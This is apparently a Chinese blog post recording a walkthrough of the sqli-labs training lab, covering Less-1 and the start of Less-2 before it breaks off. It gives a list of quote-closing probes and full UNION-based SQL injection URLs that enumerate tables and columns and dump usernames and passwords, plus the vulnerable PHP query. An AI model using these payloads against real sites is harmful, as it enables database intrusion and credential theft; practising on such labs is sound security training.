sqli-labs实战记录(一)

本文记录了作者在sqli-labs实战过程中的经验,详细讲解了从Less-1到Less-22的解题思路,涉及单引号闭合、报错注入、时间盲注等多种SQL注入技巧。通过这些实战练习,作者总结了查找注入点、理解语句结构及利用各种函数进行信息获取的方法。
摘要由CSDN通过智能技术生成

前言

最近啊先自己SQL注入确实不行,我只能拿出sql注入的基础部分来练练收了,这个实验环境是sqlilabs

一些前置知识
系统函数
介绍几个常用函数:

1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

字符串连接函数

1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

一般用于尝试的语句

Ps:--+可以用#替换,url 提交过程中Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

正文

Less-1

输入?id=1’出现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

凡是出现这种有回显的报错是感觉是最好做的注入

常规步骤,暴库->爆表->爆列
这里我们是多写了个单引号导致报错,我们可以从报错看得出来这里是单引号括着id参数
所以我们闭合单引号
构造我们需要的东西
http://192.168.100.105/sqlilabs/Less-1/?id=1%27%23 回显正常,说明猜测成功

去后台看一下语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

是这样子的,没有任何过滤

然后开始用order by去猜列数
http://192.168.100.105/sqlilabs/Less-1/?id=1%27 order by 3%23 得到表中应该是三列(用二分法去慢慢测)

然后开始用union select去回显某一列的东西
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,3%23
这里我们需要把第一句话弄成结果为空才能显示后面一句话的内容,这里我选择id=-1,然后的话就可以回显2和3,后面就可以利用这两列回显你想要的东西了

下面我们就开始要用mysql里面自带的information_schema表了
猜表名

http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

猜列名

http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%23

才猜对应的内容

http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,concat_ws('%23',username,password)%20from users limit 0,1%23

这一句话只能猜一行,所以要想看其他行的内容就必须要刷一下limit的内容了

Less-2

很无聊,看一下源代码什么防御都没有

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://192.168.100.105/sqlilabs/Less-2/?id=1 order by 5 

测试得到3列,然后开始闭合,其实这一题直接注释了就好

直接上语句 <

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值